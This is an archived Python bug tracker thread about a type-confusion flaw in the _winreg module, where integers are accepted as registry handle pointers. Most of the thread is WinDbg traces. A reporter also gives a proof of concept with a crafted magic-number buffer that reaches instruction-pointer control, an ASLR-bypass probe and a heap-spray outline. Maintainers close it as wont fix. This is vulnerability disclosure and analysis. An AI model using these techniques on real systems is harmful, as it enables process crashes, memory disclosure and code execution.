[issue24201] _winreg PyHKEY Type Confusion

2016-09-26 Thread Steve Dower

Steve Dower added the comment:

Agreed.

--
resolution:  -> wont fix
stage: needs patch -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24201] _winreg PyHKEY Type Confusion

2016-09-25 Thread Zachary Ware

Zachary Ware added the comment:

I agree with Eryk that this is not a winreg bug.  If I'm understanding this 
correctly, you would need to pass unsanitized remote input into a function 
that's going to affect your registry.  That strikes me as an incredibly 
ridiculous thing to do; anyone doing so is begging to be exploited regardless 
of this issue.

I'd vote to close as 'wont fix', but will defer to Steve.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24201] _winreg PyHKEY Type Confusion

2016-09-24 Thread Steve Dower

Steve Dower added the comment:

I think this requires arbitrary code execution as a minimum - there's no way 
anyone would pass a user-provided value here - so the security implications are 
less interesting.

All we can really do is restrict the types accepted here, which I don't think 
is appropriate in a maintenance release. Possibly it's not too late to 
deprecate in 3.6 for removal in 3.8, but it is certainly a documented feature. 
Checking a handle for validity is not part of user mode API, as far as I know - 
EAFP.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24201] _winreg PyHKEY Type Confusion

2016-09-24 Thread Christian Heimes

Christian Heimes added the comment:

Steve, Zach, please have a look.

--
assignee:  -> steve.dower
nosy: +christian.heimes
stage:  -> needs patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24201] _winreg PyHKEY Type Confusion

2015-05-16 Thread eryksun

eryksun added the comment:

 ntdll!RtlAllocateHeap+0x17: 
 776f1037 8b4344  mov eax,dword ptr [ebx+44h] 
 ds:002b:0044=

Some functions in RPCRT4 assume RPCRT4!PerformRpcInitialization has already 
been called. How else could you get an RPC handle? In this case RPCRT4!hRpcHeap 
hasn't been initialized yet.

That said, if you first perform some operation that properly initializes RPCRT4 
-- such as query a privilege value from LSA -- then using a corrupt RPC handle 
will possibly trigger an unhandled exception farther down the line. I don't 
think this is a problem that needs to be addressed in winreg. It's an 
application bug. 

Also, note that changing this in the winreg module isn't as simple as just 
commenting out the code in PyHKEY_AsHKEY. You'd also have to special case the 
HKEY constants, one way or another.

Here's an example that first calls an LSA API to initialize RPCRT4 (test 
system: 64-bit Windows 10, 32-bit Python 2.7).

Microsoft (R) Windows Debugger Version 10.0.10075.9 X86
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: python

* Symbol Path validation summary **
Response Time (ms) Location
Deferred   symsrv*symsrv.dll*
C:\Symbols*http://msdl.microsoft.com/download/symbols
Symbol search path is: symsrv*symsrv.dll*
C:\Symbols*http://msdl.microsoft.com/download/symbols
Executable search path is:
(818.b4c): Break instruction exception - code 8003 (first chance)
eax= ebx= ecx=0cbe edx= esi=1de8 
edi=7ffde000
eip=7756fb65 esp=0028fa64 ebp=0028fa90 iopl=0 nv up ei pl zr na pe 
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b 
efl=0246
ntdll!LdrpDoDebuggerBreak+0x2b:
7756fb65 cc  int 3
0:000 bp RPCRT4!PerformRpcInitialization
0:000 g

Python 2.7.9 (default, Dec 10 2014, 12:24:55) [MSC v.1500 32 bit (Intel)] 
on win32
Type help, copyright, credits or license for more information.

 import ctypes, _winreg
 advapi32 = ctypes.WinDLL('advapi32')
 x = (ctypes.c_void_p * 4)()
 advapi32.LookupPrivilegeValueA(None, 'SeDebugPrivilege', x)

Breakpoint 0 hit
eax=0028f558 ebx= ecx= edx= esi= 
edi=0028f580
eip=7477183a esp=0028f51c ebp=0028f530 iopl=0 nv up ei pl zr na pe 
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b 
efl=0246
RPCRT4!PerformRpcInitialization:
7477183a 8bffmov edi,edi

0:000 dd RPCRT4!hRpcHeap l1
747dc870  
0:000 pt; dd RPCRT4!hRpcHeap l1
747dc870  003a
0:000 g
1

 x[0] = 123 # bad internal RPC handle
 x[1] = 0xFEDCBA98 # RPC context handle signature
 _winreg.DeleteKey(ctypes.addressof(x) | 1, '')

RPCRT4 is initialized, so the unhandled exception shown below is no longer due 
to RPCRT4!hRpcHeap. Checking the context handle also succeeds in this case 
since I added the 0xFEDCBA98 signature, but it fails while checking the 
internal handle (0x7b, in register esi) for the signature 0x89ABCDEF.

(818.b4c): Access violation - code c005 (!!! second chance !!!)
eax=9b4e8357 ebx=0028f860 ecx=0024 edx=0001 esi=007b 
edi=748c66d0
eip=74766121 esp=0028f814 ebp=0028f828 iopl=0 nv up ei pl nz na pe 
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b 
efl=00010206
RPCRT4!I_RpcGetBufferWithObject+0x21:
74766121 817e04efcdab89  cmp dword ptr [esi+4],89ABCDEFh 
ds:002b:007f=

In a 64-bit process this example doesn't crash the process. Instead the x64 
version of RPCRT4.DLL handles the access violation by returning the exception 
code 0xC005.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24201
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24201] _winreg PyHKEY Type Confusion

2015-05-16 Thread JohnLeitch

JohnLeitch added the comment:

Thank you again for the explanation of the internals at play here. Armed with 
the knowledge you provided, I conducted further experimentation, and I believe 
I can now demonstrate how EIP control is possible with this bug. Note that RPC 
initialization is not necessary, thus lowering the barrier to entry.

First, it is possible to satisfy both magic number checks using a single 
buffer, and the predicted address of said buffer. This can be simulated with 
the following script:

import _winreg
test = 
\x98\xba\xdc\xfe\xEF\xCD\xAB\x89
_winreg.QueryValueEx(0x41414141, 'test')

A breakpoint is set at the first magic number check to give us an opportunity 
to patch up our buffer with the predicted addresses.

Breakpoint 0 hit
eax=41414140 ebx=0027fc2c ecx= edx= esi=753a3584 edi=
eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0 nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=0246
RPCRT4!NDRCContextBinding+0x13:
75469af3 81780498badcfe  cmp dword ptr [eax+4],0FEDCBA98h ds:002b:41414144=?
???
0:000 s -b 0x0 L?0x7fff 41 41 41 41 98 ba dc fe
01ccc37c  41 41 41 41 98 ba dc fe-43 43 43 43 ef cd ab 89  
0:000 r @eax=0x01ccc37c
0:000 ed eax eax+0x8
0:000 ed eax+0x8 eax+0xc
0:000 dc eax
01ccc37c  01ccc384 fedcba98 01ccc388 89abcdef  
01ccc38c  45454545 46464646 47474747 48484848  
01ccc39c  49494949 4a4a4a4a 4b4b4b4b 4c4c4c4c  
01ccc3ac  4d4d4d4d 4e4e4e4e 4f4f4f4f 50505050  
01ccc3bc  51515151 41414141 01ccab00 01cbe048  H...
01ccc3cc  01cbe070 01ccabe0 01cbe098 01cbe0c0  p...
01ccc3dc  baadf000 01ccc548 1e228bf8 0062  H..b...
01ccc3ec    72747320 6c6c6f63   strcoll
0:000 r
eax=01ccc37c ebx=0027fc2c ecx= edx= esi=753a3584 edi=
eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0 nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=0246
RPCRT4!NDRCContextBinding+0x13:
75469af3 81780498badcfe  cmp dword ptr [eax+4],0FEDCBA98h ds:002b:01ccc380=f
edcba98

While we patched up the buffer with two addresses, this is still viable through 
heap spraying because the second address is relative to the first. Continuing 
execution, we hit our second magic number check:

0:000 g
Breakpoint 2 hit
eax=e7fafcfb ebx=0027f7f8 ecx=009c edx=0001 esi=01ccc384 edi=01ccc384
eip=75472451 esp=0027f7ac ebp=0027f7c0 iopl=0 nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=0206
RPCRT4!I_RpcGetBufferWithObject+0x21:
75472451 817e04efcdab89  cmp dword ptr [esi+4],89ABCDEFh ds:002b:01ccc388=89
abcdef
0:000 dc esi+4
01ccc388  89abcdef 45454545 46464646 47474747  
01ccc398  48484848 49494949 4a4a4a4a 4b4b4b4b  
01ccc3a8  4c4c4c4c 4d4d4d4d 4e4e4e4e 4f4f4f4f  
01ccc3b8  50505050 51515151 41414141 01ccab00  
01ccc3c8  01cbe048 01cbe070 01ccabe0 01cbe098  H...p...
01ccc3d8  01cbe0c0 baadf000 01ccc548 1e228bf8  H..
01ccc3e8  0062   72747320  b... str
01ccc3f8  6c6c6f63 72747328 2c676e69 69727473  coll(string,stri

All is well. When execution is continued, we achieve EIP control:

0:000 g
(10d8.15a8): Access violation - code c005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0027f7f8 ecx=01ccc384 edx=0001 esi=01ccc384 edi=0040
eip=41414141 esp=0027f79c ebp=0027f7c0 iopl=0 nv up ei ng nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010287
41414141 ??  ???

Apologies for the messy memory editing; there's probably a more Pythonic way of 
patching the buffer. And, of course, I believe it to be possible to achieve 
this via heap spraying, without any patching at all. Given this, I think 
exploitation in the real world is possible with two primitives: heap spraying 
and hkey value control. A web application, for example, might offer an attacker 
both of these primitives, while at the same time reasonably expecting arbitrary 
code execution to be prohibited.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24201
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24201] _winreg PyHKEY Type Confusion

2015-05-15 Thread JohnLeitch

New submission from JohnLeitch:

The Python _winreg module suffers from a type confusion vulnerability wherein 
pointers can be passed directly in place of PyHKEY instances e.g. 
_winreg.QueryValue(0x41414141, )

This behavior is due to the underlying PyHKEY_AsHKEY function of _winreg.c:

BOOL
PyHKEY_AsHKEY(PyObject *ob, HKEY *pHANDLE, BOOL bNoneOK)
{
if (ob == Py_None) {
if (!bNoneOK) {
PyErr_SetString(
  PyExc_TypeError,
  None is not a valid HKEY in this context);
return FALSE;
}
*pHANDLE = (HKEY)0;
}
else if (PyHKEY_Check(ob)) {
PyHKEYObject *pH = (PyHKEYObject *)ob;
*pHANDLE = pH-hkey;
}
else if (PyInt_Check(ob) || PyLong_Check(ob)) {  if ob is an 
int/long, this path is taken.
/* We also support integers */
PyErr_Clear();
*pHANDLE = (HKEY)PyLong_AsVoidPtr(ob);  ob is casted to a void* 
here
if (PyErr_Occurred())
return FALSE;
}
else {
PyErr_SetString(
PyExc_TypeError,
The object is not a PyHKEY object);
return FALSE;
}
return TRUE;
}

When *ob is an integer or long, the function casts it to a void*. This behavior 
can be triggered using many of the _winreg functions, such as QueryValue, 
QueryValueEx, EnumValue, etc. 

0:000 r
eax=41414140 ebx=0027fbc8 ecx= edx= esi=770e351e edi=
eip=74bf9af3 esp=0027f738 ebp=0027f764 iopl=0 nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010246
RPCRT4!NDRCContextBinding+0x13:
74bf9af3 81780498badcfe  cmp dword ptr [eax+4],0FEDCBA98h 
ds:002b:41414144=
0:000 k
ChildEBP RetAddr  
0027f764 74c0390c RPCRT4!NDRCContextBinding+0x13
0027f774 74c86dce RPCRT4!ExplicitBindHandleMgr+0x33
0027fba8 770e625c RPCRT4!NdrClientCall2+0x2ea
0027fbc0 771041e2 ADVAPI32!SafeBaseRegQueryInfoKey+0x24
0027fc04 76eacdca ADVAPI32!RemoteRegQueryInfoKeyWrapper+0x42
0027fcbc 1e0de85c KERNELBASE!LocalOpenPerformanceText+0x1c60
0027fd14 1e0ac6fc python27!PyEnumValue+0x6c [c:\build27\cpython\pc\_winreg.c @ 
1213]
0027fd58 1e0efabf python27!_PyObject_GenericGetAttrWithDict+0x12c 
[c:\build27\cpython\objects\object.c @ 1428]
0027fde8 1e0f27eb python27!PyEval_EvalFrameEx+0x1cdf 
[c:\build27\cpython\python\ceval.c @ 2269]
0027fe00 1e0f11b2 python27!compiler_free+0x3b 
[c:\build27\cpython\python\compile.c @ 322]
0027fe2c 1e11707a python27!PyEval_EvalCode+0x22 
[c:\build27\cpython\python\ceval.c @ 672]
0027fe44 1e1181c5 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c 
@ 1371]
0027fe64 1e118760 python27!PyRun_FileExFlags+0x75 
[c:\build27\cpython\python\pythonrun.c @ 1358]
0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190 
[c:\build27\cpython\python\pythonrun.c @ 950]
0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59 
[c:\build27\cpython\python\pythonrun.c @ 753]
0027ff3c 1d00116d python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 
643]
0027ff80 74d57c04 python!__tmainCRTStartup+0x10f 
[f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 586]
0027ff94 7741ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7741acea ntdll!__RtlUserThreadStart+0x2f
0027ffec  ntdll!_RtlUserThreadStart+0x1b
0:000 !analyze -v
***
* *
*Exception Analysis   *
* *
***


FAULTING_IP: 
RPCRT4!NDRCContextBinding+13
74bf9af3 81780498badcfe  cmp dword ptr [eax+4],0FEDCBA98h

EXCEPTION_RECORD:   -- (.exr 0x)
ExceptionAddress: 74bf9af3 (RPCRT4!NDRCContextBinding+0x0013)
   ExceptionCode: c005 (Access violation)
  ExceptionFlags: 
NumberParameters: 2
   Parameter[0]: 
   Parameter[1]: 41414144
Attempt to read from address 41414144

CONTEXT:   -- (.cxr 0x0;r)
eax=41414140 ebx=0027fbc8 ecx= edx= esi=770e351e edi=
eip=74bf9af3 esp=0027f738 ebp=0027f764 iopl=0 nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010246
RPCRT4!NDRCContextBinding+0x13:
74bf9af3 81780498badcfe  cmp dword ptr [eax+4],0FEDCBA98h 
ds:002b:41414144=

FAULTING_THREAD:  0274

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  python.exe

ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced 
memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced 
memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1:  

EXCEPTION_PARAMETER2:  41414144

READ_ADDRESS:  41414144 

FOLLOWUP_IP: 

[issue24201] _winreg PyHKEY Type Confusion

2015-05-15 Thread eryksun

eryksun added the comment:

 wherein pointers can be passed directly in place of PyHKEY 
 instances e.g. _winreg.QueryValue(0x41414141, )

If a debugger is attached you see the first-chance exception for the access 
violation. Normally the registry function simply returns ERROR_INVALID_HANDLE 
(6), which gets raised as an OSError in Python. 

The call took the RPC path because the low bit (1) marks a remote handle, which 
is actually a pointer to a data structure. RPCRT4!NDRCContextBinding looks for 
a signature (0xFEDCBA98) to validate this structure.

In this case the attempt raised an access violation, which gets handled by 
raising another exception with the exception code set to ERROR_INVALID_HANDLE. 
The same exception gets raised if it can't validate the handle. Subsequently 
this exception is handled by calling RPCRT4!NdrClientMapCommFault to map the 
code to a return value. 

For example (x64 ISA):

 _winreg.QueryInfoKey(0x41414141)
(a2c.828): Access violation - code c005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
RPCRT4!NDRCContextBinding+0x4:
07fe`fefca6e4 81790898badcfe  cmp dword ptr [rcx+8],0FEDCBA98h 
ds:`41414148=

0:000 gN
(a2c.828): Unknown exception - code 0006 (first chance)
Breakpoint 0 hit
RPCRT4!NdrClientMapCommFault:
07fe`ff05f010 fff3pushrbx

0:000 kc 8
Call Site
RPCRT4!NdrClientMapCommFault
RPCRT4!NdrpClientCall3
RPCRT4!NdrClientCall3
ADVAPI32!SafeBaseRegQueryInfoKey
ADVAPI32!RemoteRegQueryInfoKeyWrapper
kernel32!TlsGetValue
ADVAPI32!RegQueryInfoKeyAStub
python27!PyQueryInfoKey

The exception code is passed in register r8 and gets assigned to the address in 
r9:

0:000 r r8, r9
r8=0006 r9=0021f1d8

0:000 dd 21f1d8 l1
`0021f1d8  

0:000 pt
RPCRT4!NdrClientMapCommFault+0x80:
07fe`ff05f080 c3  ret
0:000 dd 21f1d8 l1
`0021f1d8  0006

This return value gets passed back up the call stack:

0:000 gu; pt; r rax
rax=0006
0:000 gu; pt; r rax
rax=0006
0:000 gu; pt; r rax
rax=0006
0:000 gu; pt; r rax
rax=0006
0:000 gu; pt; r rax
rax=0006
0:000 r
rax=0006 rbx=00e1cda0 rcx=
rdx= rsi= rdi=1e1027b0
rip=779ba204 rsp=0021f9d8 rbp=00eb61c8
 r8=0021f1d8  r9= r10=0021f1d8
r11=0021f8b0 r12=00e1cda0 r13=00807bb0
r14=1e2b3210 r15=00eb7060
iopl=0 nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b 
efl=0206
kernel32!RegQueryInfoKeyA+0x364:
`779ba204 c3  ret

Until finally getting raised as a Python exception:

0:000 g
Traceback (most recent call last):
  File stdin, line 1, in module
WindowsError: [Error 6] The handle is invalid

The odds are extremely low that someone will pass in an integer address that's 
flagged as a remote handle (ends in 1) and is a valid, mapped address that 
contains the RPC handle signature. Even then, it won't reference an actual 
proxy handle for a remote registry, so it'll just fail farther along the chain. 

I'm sure if a feature exists that someone, somewhere depends on it, so I don't 
see a reason to change this unless there's a real problem here. Is there a 
specific technical or security problem that you see here?

--
nosy: +eryksun

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24201
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24201] _winreg PyHKEY Type Confusion

2015-05-15 Thread JohnLeitch

JohnLeitch added the comment:

Thank you for taking the time to peruse my report and explain the behavior I 
observed. My understanding of Windows RPC internals is lacking, and perhaps I 
jumped the gun upon catching an AV while fuzzing.

That said, after poking around to better understand the matter, I discovered a 
few things:

1) There are code paths where it is possible to trigger an unhandled access 
violation:

0:000 g
(11a0.d54): Access violation - code c005 (!!! second chance !!!)
eax=60dad396 ebx= ecx= edx= esi=00a0 edi=00a0
eip=776f1037 esp=0027f790 ebp=0027f80c iopl=0 nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010216
ntdll!RtlAllocateHeap+0x17:
776f1037 8b4344  mov eax,dword ptr [ebx+44h] ds:002b:0044=??
??
0:000 k
ChildEBP RetAddr
0027f80c 75471731 ntdll!RtlAllocateHeap+0x17
0027f82c 75479616 RPCRT4!AllocWrapper+0x2d
0027f840 75479791 RPCRT4!ThreadSelfHelper+0x16
0027f848 754f6b2a RPCRT4!ThreadSelf+0x18
0027fc74 753a5d94 RPCRT4!NdrClientCall2+0x13a
0027fc8c 7539f48b ADVAPI32!BaseRegGetVersion+0x24
0027fce4 7538dfce ADVAPI32!RegDeleteKeyW+0x14aeb
0027fd00 1e0de533 ADVAPI32!RegDeleteKeyA+0x2e
0027fd18 1e0aafd7 python27!PyDeleteKey+0x53
0027fd30 1e0edd10 python27!PyCFunction_Call+0x47
0027fd5c 1e0f017a python27!call_function+0x2b0
0027fdcc 1e0f1150 python27!PyEval_EvalFrameEx+0x239a
0027fe00 1e0f11b2 python27!PyEval_EvalCodeEx+0x690
0027fe2c 1e11707a python27!PyEval_EvalCode+0x22
0027fe44 1e1181c5 python27!run_mod+0x2a
0027fe64 1e118760 python27!PyRun_FileExFlags+0x75
0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190
0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59
0027ff3c 1d00116d python27!Py_Main+0x965
0027ff80 75967c04 python!__tmainCRTStartup+0x10f
0027ff94 7770ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7770acea ntdll!__RtlUserThreadStart+0x2f
0027ffec  ntdll!_RtlUserThreadStart+0x1b
0:000

This doesn't appear to be outright exploitable for anything beyond DoS, but it 
does crash the process.

2) Assuming attacker control of the hkey parameter to a _winreg call, I believe 
it would be possible to leverage the RPC signature check to disclose the 
location of valid memory such as the RPC module itself, thereby bypassing ASLR.

 import _winreg
 _winreg.DeleteKey(0x75469AF1, '')

Traceback (most recent call last):
  File pyshell#13, line 1, in module
_winreg.DeleteKey(0x75469AF1, '')
WindowsError: [Error 6] The handle is invalid
 _winreg.DeleteKey(0x75469AF3, '')

  RESTART 
 

0:000 dd 0x75469AF3
75469af3  98047881 0ffedcba 01d9a085 fc45c700
75469b03  fffe 8fe8008b c2a2 9094
75469b13  90909090 fe90 00ff d400
75469b23  00ff fe00 49d901ff 49d92575
75469b33  06f76875 b2e8 8b000161 47c7e845
75469b43  003c 50478900 00a661e9 09be0f00
75469b53  00a649e9 06f76800 8ee8 68000161
75469b63  06e6 016184e8 90909000 499e5190
0:000 !address 0x75469AF3


Usage:  Image
Base Address:   75451000
End Address:754fa000
Region Size:000a9000
State:  1000MEM_COMMIT
Protect:0020PAGE_EXECUTE_READ
Type:   0100MEM_IMAGE
Allocation Base:7545
Allocation Protect: 0080PAGE_EXECUTE_WRITECOPY
Image Path: C:\WINDOWS\SysWOW64\RPCRT4.dll
Module Name:RPCRT4
Loaded Image Name:  C:\WINDOWS\SYSTEM32\RPCRT4.dll
Mapped Image Name:
More info:  lmv m RPCRT4
More info:  !lmi RPCRT4
More info:  ln 0x75469af3
More info:  !dh 0x7545

3) Finally, I still suspect it may be possible to achieve memory corruption 
with this bug, but cannot verify without a better understanding of the 
structures at play and further analysis. The hypothetical attack goes like this:

a) The attacker sprays memory with carefully constructed buffers containing the 
expected magic numbers at the correct offsets.

b) Once memory has been sufficiently sprayed, the attacker triggers the bug 
with an hkey value that is actually an address predicted to be one of the 
sprayed structures.

c) While working with the attacker controlled buffer, RPC inadvertently 
corrupts memory.

Step C is, of course, dependent on what what fields are available in the 
structure, and what RPC does with them. Unfortunately I can't find any relevant 
documentation or code, but in my testing I was able to force different code 
paths. Some look fruitful, but determining whether they're reachable would be 
costly time-wise, and it's a bit of a moot point because we're talking about 
Microsoft's internal implementation, which could change at any point, altering 
exploitability. Given that, I'd say it's best to err on the side of caution, 
and assume corruption is possible with the right primitives.

--